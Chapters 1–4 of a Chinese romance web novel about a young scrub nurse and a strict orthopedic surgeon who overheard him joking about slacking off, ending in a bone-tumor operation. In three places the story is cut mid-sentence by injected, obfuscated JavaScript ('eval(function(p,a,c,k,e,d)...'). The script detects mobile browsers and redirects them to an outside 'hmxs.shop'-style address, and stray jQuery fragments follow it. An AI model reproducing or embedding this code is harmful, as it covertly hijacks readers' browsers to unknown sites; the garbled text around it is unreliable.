《医生让我吐在口罩里》
1. 卷王
盛夏时节,阳光明媚刺眼,柏油路面仿佛能烫掉鞋底。
下午两点半,俞钰坐在咖啡厅里,跟师姐曹青柠聊未来的工作。
师姐曹青柠是跟他同校,是高他三级的本科毕业生,毕业后就签到他刚入职的二院做护士,目前已经干了三年,从N0级别的护士升职成N1级别,相较他而言是一匹富有经验的牛马。
“你被分到哪个科室去了?”
曹青柠昨晚上了大夜班,终于换来一个下午的休息时间,补觉起来后就和俞钰约在咖啡厅聊天八卦。
“骨科第二手术室的器械护士。”
曹青柠一脸同情:“很多骨科手术时间都很长,有的一站就是八小时,希望你几年后没有得下肢静脉曲张。”
俞钰:“……也许就是因为这活太苦了,才需要青壮年牛马。”
“说的也是。”曹青柠单手支头,看着坐在他对面的俞钰:“不过把你分到骨科人真的见过你吗?怎么舍得让你去骨科被摧残的,你应该去眼科这种可以坐着的地方。”
坐在曹青柠对面的男生从外表看像是刚上大学的少年,长得很漂亮,漂亮到几乎让人移不开眼,下午的阳光斜斜落到少年脸上,皮肤透出温润的瓷白,五官像是被工笔细细描绘过,精致到近乎完美,一双眼睛大而清亮,好似两泓清澈的泉水。
曹青柠叹气着,这么漂亮的男孩子为什么要去骨科那边被摧残。
俞钰听出某种不妙,骨科仿佛修罗场。
“骨科要求很严格吗?”俞钰问:“主任会经常骂人?”
虽然器械护士上台的时候经常被主刀批评,但批评跟骂是两回事,有的主刀真的能把器械护士骂得emo到想辞职。
曹青柠想了想,表示:“我是乳甲科的不太清楚骨科那边怎么样。偶尔遇到过几次你们主任,看起来挺和善,笑着像是弥勒佛,好像不太会骂人。”
“不过骨科那边你也知道,医院里最强势的科室之一,全国排名前三,手术排满病人暴多,压力肯定很大。”曹青柠耸肩:“人压力大了心情暴躁,总会忍不住脾气做出点事情来,要找个出气筒。”
性格咸鱼又不会骂人也不会跟人对骂的俞钰:“……”
“对了。”曹青柠又想起一件事:“说来你们组的卷王这几天好像援藏回来升副高了,你应该会跟他搭台。”
俞钰困惑了下:“卷王?”
他们工作的地方是全国排名前十的综合型三甲医院,其中骨科全国排名数一数二,能进这里的医生除了特别特别有关系,不然都是卷王。
虽然不是每个都要求最好,但每个都要求很好,不能有短板。
文章总要有几篇吧,跟的导师总得是行业大拿吧。
笔试成绩总要拔尖吧,面试成绩总要拔尖吧。
什么都有了,再说进来的事情。
在这种环境下能被称为卷王的人,得有多卷。
“三十二岁破格升副高,你算算多卷吧。”曹青柠:“听说他要求特别严格,跟他搭台的话皮最好绷紧点。”
俞钰打了个夸张的寒颤,做出一脸苦相口嗨:“这让我怎么悄悄在工作时间摸鱼。”
虽然对待工作他肯定会认真负责,但没人想要很严格的领导吧。
最起码他不想要,领导严格意味着压力大,还怎么岁月静好。
曹青柠配合着打趣,吐了吐舌头故意问:“要不要我教你手术室的摸鱼技巧?”
“那倒不用。”俞钰笑着摇头,“实习的时候不少前辈都给我传授过经验。”
正聊着,他手机响了,一看是自家太后打来的电话,估计也没太重要的事情就当着曹青柠的面接。
“嘟嘟呀。”太后崔婧的声音从听筒那边传来,关切问道:“今天入职怎么样?”
“挺顺利的。”俞钰回答,顺便又无奈提醒:“妈我都毕业开始工作,就别叫小名了吧。”
他二十好几,再被人叫“嘟嘟”是真的会不好意思。
“下次注意。”崔婧没什么诚意地承诺,接着又问:“上次你刘姨给你介绍的那个小伙子怎么样呀?”
俞钰:“……非常不怎么样,别提了。”
崔婧好奇:“怎么回事呀,你刘姨好像说人家小伙子挺好的,当麻醉师,性格踏实稳重跟你很配。”
俞钰差点翻白眼:“你口中‘踏实稳重’的小伙子,见面没说三句话就问我‘你很急吗?这么年轻就来相亲’,实在没看出他有你说的那些美好品德。”
“这么不靠谱?”崔婧也震惊了,随后立刻义愤填膺道:“不行,我一定要给你刘姨说说,介绍来的都是什么人,让他下次换个靠谱的。”
俞钰无奈:“妈,我暂时真的不想考虑感情的事情,你别介绍了,不想当菜市场的猪肉被人估价格。”
崔婧沉默了下,叹气道:“我这不是怕你那么宅那么闷的性格,一个人孤孤单单没人陪着吗。”
知子莫若母,崔婧说的一点没错,俞钰是那种不上班可以在家躺一天,完全开启低电量模式不出门不社交,只自己刷刷手机的宅男性格,没人推着肯定不会迈出家门一部,更别说去谈感情。
对他来说谈感情好累,周末时间躺着休息不好吗,为什么要辛辛苦苦出去约会。
“那也宁缺毋滥呀。”俞钰撇嘴,“最起码找个好的再来跟我说,不想将就。”
崔婧:“你放心,我这次肯定给你好好把关人选,确定靠谱了再跟你说。”
俞钰:“……好吧,那你看着安排。”
挂断电话后,俞钰叹着气把手机放在桌子上,随后就看到坐对面的曹青柠一脸八卦的表情。
他顿了下,主动交代:“家里催婚,之前介绍的相亲对象很不靠谱。”
曹青柠把俞钰从上打量到下:“原来小学弟你这么漂亮的人,也需要被介绍对象吗?”
“所以我谈不了恋爱果然不是我自己的原因,是这个世界会谈恋爱的人要么没出生,要么有对象。”
俞钰:“……”
“我家是那种上学的时候严防死守,什么感情的事情都不能碰,毕业了马上催婚的类型。我不想谈,没时间懒得弄,但家里担心我一个人孤独终老非要介绍。”
“如果介绍的靠谱也就罢了,但都不靠谱,见了三个一个比一个渣。”对此俞钰只能表示:“要么是我父母的交际圈子不对,要么就是这个世界上本来人渣多好人少。”
他父母算是很开明的,大四那年第一次提起谈恋爱介绍对象,他直接出柜后也没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996175|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太过反对,只是担心同这个群体太混乱,怕他得传染病,坚决让他找个靠谱的对象一起过一辈子。
自此以后就开始想尽办法给他介绍身边的资源,只可惜努力错了方向,身边的资源都不靠谱。
曹青柠表示同情,“等我想想啊,有没有合适的……”
她一拍脑门,猛然想到:“你们组那个卷王好像也喜欢同性,说不定可以发展试试,听说他身材样貌都不错。”
俞钰一脸惊恐:“什么,搞领导?不行不行,我胃口没那么好。”
曹青柠奇怪地看着他:“你怎么这么抗拒?医护配很常见吧,你家好像也是医护配来着。”
“那是从前了,现在大家都互相嫌弃的关系。”俞钰说:“医生嫌弃护士太忙不能顾家,护士嫌弃医生太忙像丧偶。”
“跟领导在一起,上班是他下班还是他,每天都是他,每晚回家仿佛都是在加班,做梦都要加班。”
曹青柠:“……有点道理。”
“而且和领导在一起有点像上学的时候跟教授在一起,一眼就能幻视在学校念书和实习的时候,教授一脸褶子的样子。”
曹青柠也被吓萎了:“听你这么一说,那些跟领导谈办公室恋情的人真心大。”
尤其是勇于爬四五十岁主任或者院长的床的年轻人,她实在敬佩他们的胃口。
能忍人所不能忍。
俞钰也觉得是,“我没长很坚强的心脏,办公室恋情真的不可以。”
尤其是要跟他搭台的主刀医生,绝对“say no”,跟主刀在一起,就算下班后看到那张脸也能想起在手术台上被支-配的感觉。
他周末只想休息,不想工作。
二人正聊天的时候,旁边桌子的一位男性放下咖啡杯站起来,走到门口打算离开。
他身材高大,有非常吸睛的大长腿,九头身比例,坐着的时候不太显,一站起来就瞬间挡住周围桌子的光线,让人不由自主地抬头看去。
他大约三十来岁,面容刀削斧凿轮廓很深,气质冷峻,行走间动作干净利落,几个大步就走到咖啡厅门口推门离开。
咖啡厅门上的风铃发出清脆悦耳的声音,俞钰看着风铃发呆。
“有点眼熟,好像在哪见过。”曹青柠忽然说。
俞钰:“不会是医院同事吧。”
这瞬间变成一个恐怖故事。
两位同门尴尬地互相对望片刻后,曹青柠挠挠头:“应该不能吧,不过就算见到我可能也不认识。”
三甲医院几乎每个科室都很忙,大多数的科室都是各自为政,自负盈亏互相不认识,同事间也得靠着工牌才能辨认。
曹青柠也就熟悉他们乳甲课的医护和几个后勤,没什么联合会诊的科室同事真有可能迎面走过来也认不出。
不过他们选的咖啡馆距离医院有五公里左右,地铁站都隔出了三四个,碰到同事的概率极低,所以刚才敢随意口嗨。
“也许是出门赶地铁的时候见过,然后忘了。”曹青柠耸肩,认为这个概率更大些,“安啦别担心,我们刚才也没说什么不能说的。”
俞钰:“……”
没说什么吗?
打工牛马关于职场的口嗨……应该不算是不能说的吧。
2. 默契
秦禾笙从咖啡厅离开后开车去医院。
他们院骨科很忙,忙到他坐今早的飞机从边疆飞回首都,只来得及到家放好行李,去咖啡厅喝杯咖啡喘气,下午就要去医院报道,明天下午重开门诊收病人。
因为门诊号已经在一周前放出,并且秒空。
好在他天生精力旺盛,哪怕一年三百六十五天,有三百六十天都在工作也不会觉得喘不过气。
他到医院的时候是下午三点半,吕主任正在办公室看课题材料,偶尔指导旁边的规培生写手术记录。
看到秦禾笙敲门进来后,吕主任笑着说:“恭喜呀秦副高,院长上午签了副高的红头文件,现在人事已经全员发送。”
他一边说一边指着对面的椅子:“来吧,坐下说。”
七月多的下午,办公室空调发出白噪音,规培生叶竹一边打着哈欠写材料一边悄悄打量秦禾笙。
传说中又高又帅的骨科卷王。
外表倒是的确又高又帅,不当医生简直可以去当男模的身材和颜值。
第一眼看不出来什么卷的样子,只觉得严肃高冷,希望别跟吕主任一样,下台笑嘻嘻,上台骂得你想哭。
秦禾笙坐下后礼貌又不失距离感地喊:“吕主任。”
吕主任:“你离开这一年医院也没什么太大变化,流程还像从前一样,你原来那些病床已经都重新划给你,手术排班时间还跟以前一样。”
“至于科室,来了两个新的住院医和几个护士。”吕主任想了想,“总的来说科室也变化不大。”
秦禾笙垂眸听着,听到这里忽然问一句:“科室里来的新人怎么样?”
吕主任闻言奇怪看了秦禾笙一眼,对方从前很少关心科室里人事相关的事情,怎么忽然问这个。
“两个住院医的论文都是顶刊,导师也排得上号,就是新人刚来可能要多练一练,也许会摇你去救火。”
秦禾笙:“护士呢?”
“护士?”吕主任愣了下,“怎么,是新来的护士有问题,你看到了什么?“
秦禾笙平静道:“没事,随口问问。”
吕主任不信,狐疑地看着秦禾笙。
但秦禾笙不说他也不好追问,估计不是什么大事,要是大事的话秦禾笙肯定说了。
正事说完,吕主任又开始提起老登们喜闻乐见,年轻人不胜其烦的事。
“院长前两天还来我这里关心你的个人大事,援藏的时候你说距离太远不谈,现在回来总应该谈了吧,你爸都拐弯抹角跟院长提过很多次,说我们医院耽误你成家立业。”
“太忙,没空。”
这个拒绝的借口吕主任听得耳朵都要起茧子了,从秦禾笙入职第一天起就是用这个借口拒绝各种相亲。
“时间挤一挤总会有。”
秦禾笙淡定怼回去:“不然我未来一年要做的千台手术里,主任你找人替我一半,我好省下时间谈恋爱?”
吕主任:“……”
叶竹:“……”
叶竹瞳孔地震,居然一年大大小小要做上千台手术吗,这岂不是每个手术日都几乎24小时焊在手术台前,一天得做近十台。
不愧是骨科卷王,换了他一周两个手术日,每个手术日都这么做,不出三个月就得去心内挂急诊。
吕主任尴尬笑:“那个什么,你要不然就地取材在科室里面找个同事算了,我不介意你办公室恋情。”
“我介意,不找同事。”秦禾笙一边站起来一边说:“都忙,没空顾家。”
“主任,我先走了,还有材料要写。”
“唉,等等。”吕主任终于又想起一件正事:“我马上要出差一周,这一周里你先帮我带小叶。”
正在写材料的叶竹一脸茫然地看着吕主任跟秦禾笙,不知道为什么带他的人就从主任变成了卷王副高秦禾笙。
晚上十点多,叶竹写完手术材料,跟在主任后面学完查房,又写完上周的规培总结后,终于从办公室出来准备回家。
他路过副高的办公室,意外发现这里亮着灯。
副高一般不排一线值班,除非负责的病人有紧急情况,不然不会这么晚还在。
出于好奇,他往办公室里看了一眼,发现秦禾笙在。
秦禾笙手里拿着一个3D打印机打印出来的脊柱模型,在上面画线。
叶竹从专业知识判断,应该是一台脊柱正畸手术有关的脊柱模型。
可是秦禾笙刚援藏回来,应该还没收病人,哪来的正畸手术?
难道是援藏时候的?
不知道是不是他看得太认真,都没发现秦禾笙已经放下脊柱模型,抬头问:“有事?”
叶竹一个激灵,犹如被自己教授点名,瞬间立正站好,“秦副高,我就是路过,不小心看到你在脊柱模型上画线。”
秦禾笙:“是我七天前在藏区做的一台正畸手术,正在给病人做康复规划。”
叶竹心里有点钦佩。
多少医生是做完手术就不管事,各种粗心大意事故频出,像秦禾笙这种手术做完七天人已经离开边疆,还能义务劳动帮忙做康复规划的医生,真的是凤毛麟角。
真正的卷王永远先卷自己。
卷的是对医学的追求,对生命的尊重。
只是想到这么卷的人要带他一周,叶竹就一点也高兴不起来。
规培牲总不能比带教医生下班早吧,难道要一直过这种每晚十点多才能下班的苦生活了吗?
秦禾笙做完康复规划后就没有别的事情,站起身关掉办公室的灯,跟叶竹一起离开。
等电梯的时候,叶竹犹如站在教授旁边,心情紧张,心率飙升。
秦禾笙看了眼身边紧张到开始绞手指的医学牲,忽然问一句:“叶竹,你今年多大?”
“二十四。”
二十四,和白天的护士差不多的年龄,比他小八岁。
“你们年轻人是不是都很喜欢工作摸鱼,会分享工作摸鱼的经验,不喜欢碰到严厉的领导?”
叶竹一个激灵,仿佛被导师催问你课题进展如何,哪怕没进展也要装有进展。
被带教医生问也是一样,哪怕他私底下想尽办法摸鱼,口头上也绝对不能承认。
而且卷王不会共情咸鱼,就更不能说。
“没有,我们工作都很认真不会想着摸鱼,毕竟是人命关天的大事,摸鱼容易出事。”
秦禾笙没有再说什么,只在电梯上告诉叶竹:“没有特殊安排的时候我通常早上七点半到医院,晚上九点半下班,你可以根据自己的时间安排来,我不会硬性要求你加班,但出门诊做记录和手术跟台的时候不能迟到。”
叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996176|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竹努力从苦瓜脸上挤出一点笑意:“知道了,秦副高,我一定不会迟到。”
“叫我秦医生就可以,不用叫副高。”
叶竹脸上的笑容有点僵硬:“……好。”
妈妈呀,他好像拍马屁拍到马腿上了。
晚上十点多,叶竹走在回家的路上,一边喂蚊子一边发出跟吕主任一样的感慨——
秦禾笙还是早点给他找个师娘吧,不然这么每天以医院为家,他一个体力不算充沛的医学牲撑不住呀。
到家后,叶竹打开空调,拿出手机给俞钰发消息:嘟嘟,我今天看到你们骨科卷王了
叶竹:他还要当我一周的带教医生
叶竹:太恐怖了[骷髅][骷髅][骷髅]
俞钰正在听纯爱广播剧,看到叶竹的消息后一边听一边无语回:不要叫我嘟嘟
俞钰:还有,卷王是怎么回事,你不是跟着主任?
这好像是今天第二次听人在他面前提起骨科卷王了。
他和叶竹从小在同一个家属院长大,叶竹只比他大两岁,小时候经常在一起玩,算是发小。
叶竹学习好些考到医学院读专硕,目前正在各个科室轮转做规培,最近这一个月在骨科。
骨科医生人均很忙,每个医生都带着好几个规培牲,外院来学习的医生,叶竹去的时候实在是没人带他,就把他打发到主任手下。
怎么今天又去卷王那边了?
叶竹:主任说马上要出差一周,就把我打发给秦医生了
叶竹:我跟你说秦医生超级恐怖,每早七点半到医院每晚九点半下班,从前貌似还经常加班到半夜一两点
叶竹:仿佛进化掉了睡眠
叶竹:我真不行,一天睡不够七小时第二天简直头痛死,脑子都是木的
俞钰想到自己半个领导里有这种卷王,心情也不算多么美好。
他不是那种会懈怠工作的人,相反他在工作中会非常认真负责,努力做好自己分内的工作,决不忽视病人的事情。
只是除了分内的工作外,他就不想再做其他事了。
每天到家只想咸鱼躺不想努力,不会像其他护士一样考证,积极追求晋升等等。
工作之外他只想躺平,卷不了一点。
俞钰:往好处想,你只在他手下待一周
俞钰:我不知道要跟他搭台多久,一想到这点就压力倍增
他看过自己负责的骨科第二手术室,轮流使用手术室的医生里有秦禾笙。
跟这么卷的医生搭台,谁知道对方会不会吹毛求疵各种挑刺,再外加超强的控-制欲。
好有道理,叶竹一下就心理平衡,哈哈笑着安慰俞钰。
叶竹:安啦,不都说器械护士很快就可以跟主刀培养出老夫老妻的默契吗?一个眼神就知道对方需要什么,那以后的一切工作就都OK
叶竹:据说那个时候,工作简直如鱼得水
叶竹:你只要跟秦医生有老夫老夫的默契就好了
俞钰幻想一下那个场景,简直不寒而栗,要多想不开才会跟领导有那种默契。
保持距离感不好吗。
太恐怖了,他绝对不要跟领导成为什么老夫老夫。
俞钰:[骷髅][骷髅][骷髅]
俞钰:不会有老夫老夫,只会有互相嫌弃
3. 口嗨
早晨七点,床头刺耳的闹铃打破房间中的宁静。
裹在凉被里的人动了动,从平躺着的姿势变成侧躺着,双手抱着凉被,后腰和后背露在外面,隐约可以看到睡衣下白皙的后背皮肤和细瘦的腰线。
不出三分钟,床头的电子时钟响起第二阵闹铃,俞钰伸手按掉闹钟,宽松的睡衣从手腕处滑落,露出精巧的腕骨,像牛奶一样白的小臂。
俞钰躺在床上打了个哈欠,开始每日的例行三问——
人为什么要早起?
人为什么要上班?
人为什么要劳动?
总结:上班有害健康。
但时间已经来到早上七点零五不能再赖床,俞钰拿出打仗一样的速度冲到浴室里洗漱换衣服,洗漱完后又随意扒拉了两下头发,拿起面包片,背上包就出门坐电梯去地库。
他天性懒不太在意形象问题,能保持漂亮男孩的样子全靠颜值足够高,哪怕是斜靠着电梯墙壁吃面包的样子也很赏心悦目。
他塞完面包片,打开车门钻进去,开车去医院上班。
感恩父母,让他刚毕业就有车有房并且不用背贷款,每个月挣的工资只要够吃饭和加油就没有任何生活压力。
当然也因为这样,他不好太过拒绝父母的相亲安排,人不能一边享受一边拒绝付出。
只要父母介绍的相亲对象靠谱,他还是愿意接触。
唔,前提是他有时间有精力。
车开到医院时恰好七点四十五,他卡着点打卡上班,先简单洗手消毒,消过毒后就去手术室的准备间清点供应室送来的消毒器械。
他做清点的时候,巡回护士已经在手术间里核对病人的姓名,要做的手术等等。
做完初步清点后他完成外科洗手,穿无菌手术衣,戴无菌手套帽子口罩以后,就去和巡回护士一起将器械搬到器械台,用无菌持物钳打开内层包布,按照自己习惯的顺序将器械摆放在器械台上。
入职第二天,他就要上台参与手术。
按理来说不应该这么快,最起码要观摩学习一周再上台实操。
可是骨科这边一直很缺少一线医护,第二手术室的上一位器械护士在一周多前请产假,目前一直由手术的三助兼任器械护士,一心多用十分辛苦,一直在跟护士长抗议。
所以护士长一看新的器械护士入职,立马就让牛马上工干活,非常符合打工人定律——
实习工当正式工用,正式工当牛马用。
好在俞钰大四实习的时候做过半年的器械护士,三个月旁观学习,三个月实操上台,对器械护士的工作流程十分熟悉,不是新手,不会因为紧张犯那种把器械掉在地上然后再捡起来的初级错误。
他最需要注意的就是跟主刀不熟悉,没有配合过,可能不懂对方的眼神没有及时递上需要的器械,会被骂。
俞钰看过手术室安排,今天的第一台是骨瘤手术,一位七十来岁的老大爷左小腿处有骨瘤,按理来说应该是做骨瘤的完整切除和局部关节置换。
但这位老大爷十分保守,并且极度不信任现在3D打印机做的关节或者其他定制化的植入物,坚持要用自己原装的,让家里人托关系找主任,经过会诊后得出目前的手术方案。
俞钰看到的手术步骤是肿瘤切除,医学灭活后再回植,并且进行血管蒂腓骨重建等工作。
这是一台很复杂的骨科手术,目测五个小时起步。
他低头摆器械,听到麻醉师在跟老大爷聊天,让老大爷放轻松。
就在他摆电锯的时候,身后忽然传来老大爷的声音。
“小伙子,你在摆什么东西?”
俞钰抬头解释:“在摆手术器械。”
“那是……锤子吗,那个是不是电钻?”
俞钰看着器械台面上的各种锤子和电钻,自觉骗不了人,干脆承认道:“是,这些是骨科手术经常用到的器械。”
他说完后,果不其然看到老大爷睁大眼睛,一脸惊恐和茫然。
很多时候病人想象中的骨科手术室和实际的骨科手术室,有非常大的区别。
病人以为的手术室会是高端大气上档次的环境,摆满了国外进口的先进医疗设备,而实际的骨科手术室里,骨科医生通常使用的都是朴实无华的大锤和电钻,手术时抡大锤打电钻都是常见操作。
俞钰在实习的医院里跟过骨科手术,印象最深的就是几乎每台骨科手术都会抡大锤和打电钻,整个手术室里充满了“当当当”的大锤敲击声,时不时还有电钻打在骨头上,那种让人牙酸的“刺啦”声,像是在人体的骨骼上做各种装修。
骨科医生是个体力和技术同时需要的活,他们要具备比装修工人更加充沛的体力,能抡得动大锤,打得了电钻,一站就是好几个小时,又要具备比手艺匠人更加精细的手法,能做血管重建。
既要又要,当骨科医生就会变得十分辛苦,当然骨科医生的收入也非常高,是全院著名的高富帅科室。
不过骨科医生的丰厚收入跟俞钰这个骨科的器械护士没什么关系,器械护士的绩效只看跟台手术的时长。
假如他每天跟八个小时的手术,无论这八个小时里做几台手术,他都是拿八个小时的绩效。
他工作信奉当一天和尚撞一天钟,来都来了还是好好干活。
俞钰放好器械,抬头看到老大爷还是一脸紧张的样子,就笑着安慰:“大爷没事,别紧张,我只是把所有的器械放在这里,您做手术不一定会用到这些。”
才怪,肯定会用到大锤和电钻,只是真话就没有必要在手术前告诉病人了。
假话最动听,老大爷现在最需要的就是心理安慰,他听了俞钰唬人的话以后心情似乎放松一些,表情上有点“大松一口气”的样子。
一旁的麻醉师已经准备好,在老大爷的滞留针上插-入针-头开始静脉给药,同时把面罩放上去说:“大爷,您吸点氧。”
老大爷不太懂手术室的套路,注意力全集中在吸氧的面罩上,几秒种后就顺利麻醉。
俞钰低头笑。
吸氧是真的吸氧,面罩里给的是氧气,只是在吸氧的时候开始静脉给药,让病人从清醒到麻醉。
顺利麻醉后,麻醉师开始测试老大爷的疼痛反应,判断给药剂量。
与此同时,俞钰身边走过来几个人,他估计应该是今天的主刀郑副高和几位助手,正想抬头喊“郑副高”时,话语被堵在嗓子眼。
来的人站在他身边,他侧身转头只能看到对方的侧脸。
手术室里大家都是穿着无菌手术服,带着手术帽,很多时候还会戴口罩,只露出眼睛和眉毛,很难辨认样貌,因此也有很多大家在手术室里互相打招呼,出了手术室摘掉手术帽和口罩后互相不认识的情况,其中认出的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996177|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方还会委屈,说你怎么不认识我。
俞钰昨天见过郑呈益一次,虽然现在隔着手术帽和口罩他不一定能认得出来,但直觉来主刀的不是郑呈益。
来人有一对锋锐的剑眉,身材高大,站姿笔挺,标准的九头身身材,愣是把手术台站出走秀舞台的感觉。本应该是穿着凉拖毫无形象的主刀医生,他硬生生用完美的身材和冷峻的气场,将自己变成整个手术室里最显眼的人。
郑呈益绝对没有这样的身材颜值和气场。
来做手术的人不是郑呈益医生。
……主刀换人了?
医院手术室的规矩,主刀只要不是病得要死,就要死过来做手术。
器械护士巡回护士甚至一助二助这些都可以临时换人,但主刀不可以。
这台手术临时换人做,只能是郑呈益起不来了。
他顿了下,犹豫着问道:“请问你是?”
来人闻言转过头,对方转头的一瞬间俞钰看到一双亮若寒星的眸子,口罩上露出的眉骨十分凌厉。
……有点眼熟,莫名觉得不太妙。
对方开口,声音里有种低沉的磁性,是病人非常喜欢听的声音,很好听。
好听的声音会让人内心不自觉松弛下来,缓解紧张的情绪。
“我叫秦禾笙,郑医生病了来不了,我代替他做主刀。”
“哦。”不管是谁,主刀医生都算是器械护士的领导,俞钰立刻说:“秦医生好。”
咦,等等,他忽然想起来昨天曹青柠刚跟他八卦来着,骨科卷王秦禾笙,好像刚升职成副高,他应该叫“秦副高”才对。
叫错了。
虽然有些医生不太介意称呼问题,但有些医生很在意自己的title,叫医生不叫副高或者主任的话,他们是真的会小心眼记仇,或者直接批评。
想到这里后他有些忐忑地看着秦禾笙,怕对方批评他的称呼问题。
秦禾笙正转头跟一助交代一些事情,仿佛没有在意刚刚的称呼问题,俞钰稍稍松了一口气。
病人已经麻醉,手术很快开始,秦禾笙大步绕过手术病床走到另外一边。
站如松,行如风。
这个站姿和走路的姿势,莫名眼熟。
不知为何,俞钰觉得更加不妙,神思有一瞬间的恍惚,在想到底在哪里见过秦禾笙,为什么会觉得眼熟。
就在他恍惚的时候,站在他对面的秦禾笙抬头看着他,两个人四目相对,俞钰忽然从熟悉的眉眼里认出对方是谁。
秦禾笙居然就是昨天咖啡厅里坐在他们邻桌的男性。
而他跟曹青柠的口嗨,对方不知道听进去多少,又信了多少。
俞钰:“……”
总感觉要完。
他昨天跟曹青柠口嗨什么来着?
哦,口嗨了没办法摸鱼,试图交流怎么在手术中摸鱼。
还有胃口不好,不能搞领导。
这些话单独说出来,私下里跟朋友吐槽也许都没什么问题。
只是不能被当事领导听到。
而他偏偏被当事领导这位本尊听到。
啊啊啊啊啊!
人怎么能在领导面前捅这么大的篓子。
要完,真的要完。
因为就在走神的这几秒钟,他听到秦禾笙语调冷漠地提醒:“手术时全神贯注,不要心不在焉。”
4. 手术
无论因为什么,手术室里走神的确是他的错。
俞钰立刻道歉:“对不起秦副高。”
秦禾笙没有再说话,只低头看着病人,向俞钰伸出戴手套的手。
俞钰:“……”
这是他第一次跟秦禾笙搭台,没有丝毫默契,无法get到秦禾笙的意思。
有经验的巡回护士显然也想到这点,无奈在一旁提醒:“小俞,手术刀。”
俞钰飞快应道:“好。”
他将手术刀的刀柄放在秦禾笙手上。
放的时候他莫名想到昨晚叶竹说的话,主刀和器械护士只要培养出老夫老夫的默契,工作就会如鱼得水。
等等,他在想什么,现在是手术,手术!
他不着痕迹地捏了捏止血钳,把思路掰回来。
不知道是不是因为发现第一次跟他搭台的缘故,秦禾笙在接下来要器械的时候都会做手势示意。
比如说要锤子会用手做出一个敲击的动作,要电钻会做出一个旋转的动作,要镊子时手指会做出一个夹的动作,让俞钰能勉强理解对方的意思,轻松不少。
遇到他不能理解的,秦禾笙也会出声提示,声音虽然冷了点,但好歹没说其他的。
重要的是除了最开始提醒他专心的话外,没有批评和指责,让俞钰感觉轻松很多。
因为很多主刀是真的会在手术的时候批评和骂人。
他实习的时候遇到过一个脾气不好的主刀,手术不太顺利就拿助手和护士撒气,他有次没理解对方要止血钳的意思,就直接被骂“脑子呢,能不能带着脑子上班?”
“眼睛不需要可以捐给需要的人。”
“这点活都不会干,趁早滚。”
……
当时他被骂得想立刻离开手术室,实习不做了。
但看到躺在病床上已经被麻醉的病人后,还是忍下委屈继续做手术。
是,器械护士的确需要留意主刀的手术视野,及时递上手术器械,但他毕竟不是主刀本人,有时真的没办法完全理解主刀的需求,需要对方说出来。
但很多时候一个说出来的举动,好像会要了主刀的命一样,就是不会好好说话。
医生和护士之间没有平等的关系,多得是护士被医生骂哭。
而这位传说中很卷的骨科卷王……好像没多严格,从做手术到现在除了必要的指示外很少说话,也不跟助手聊天,多半都在独自埋头苦干。
似乎没有想的那么可怕,不是那种慢了一秒钟,就威胁他要扣钱的主刀。
就在他想着这些事情时,病人的腿骨被取下来了,鲜血淋漓。
俞钰忽然想起手术步骤——
取骨杀瘤,医学灭活。
等等,是怎么杀瘤,怎么医学灭活?
他实习的医院,对待这种骨瘤好像都是直接装3D打印的骨头和关节,没有这种鲜血淋漓的腿骨取下来,杀瘤灭活再装回去的事情。
就在他这么想的时候,看到二助拿着病人鲜血淋漓的腿骨,放在一个巨大的恒温容器里。
而恒温容器下面的温度显示是——
60°C
一个可以烫肉,并且将肉烫到半生不熟的温度。
俞钰瞬间产生了某个惊恐的猜想。
不会是煮……哦不……是烫……一遍吧。
事实证明,真的像他想的一样。
放在恒温容器里腿骨上的……咳咳,肉丝,慢慢变了颜色,变成一种半生不熟,飘着血丝的样子。
手术室里慢慢弥漫着一种奇怪的烫肉味。
这可是煮的人……
不行,俞钰想不下去了,早饭吃的那片面包好似在他胃里面翻涌。
他不是没闻过煮肉是什么味道,但是这个也太重口了吧,国内的杀人小说多半都不敢这么写,煮,煮……
这最多只在漂亮国的恐怖暴-力电影里见过,现在却亲眼看到,哦不,还闻到……
虽然他上过很多大体老师的课,自问已经可以做到上午第四节上大体老师的课,中午照常吃饭。
但今天发生的事情太突破他的底线,从没想过上班还能有这么血腥并且有味道的事情。
这太重口了吧。
而且不知道是不是心里有抵触,他觉得这个味道刺鼻极了,非常腥。
简直了。
俞钰胃里面的酸水泛到了喉咙口,实在没忍住发出一声干呕。
他们做手术时都戴着口罩,他这声干呕被闷在了口罩里,声音沉闷,在很安静的手术室里格外明显。
秦禾笙看了他一眼,冷漠道:“吐在口罩里,别掉出来污染无菌环境。”
“如果不行就换人来,不要影响手术进程。”
俞钰面有菜色,打算收回刚刚秦禾笙“没多严格”的想法。
这人好严格,好冷漠,好无情。
果然领导都是凭实力招人讨厌的。
他勉强忍下那阵恶心想吐的感觉,飞快跟秦禾笙说:“秦副高我没事,不会影响手术进程。”
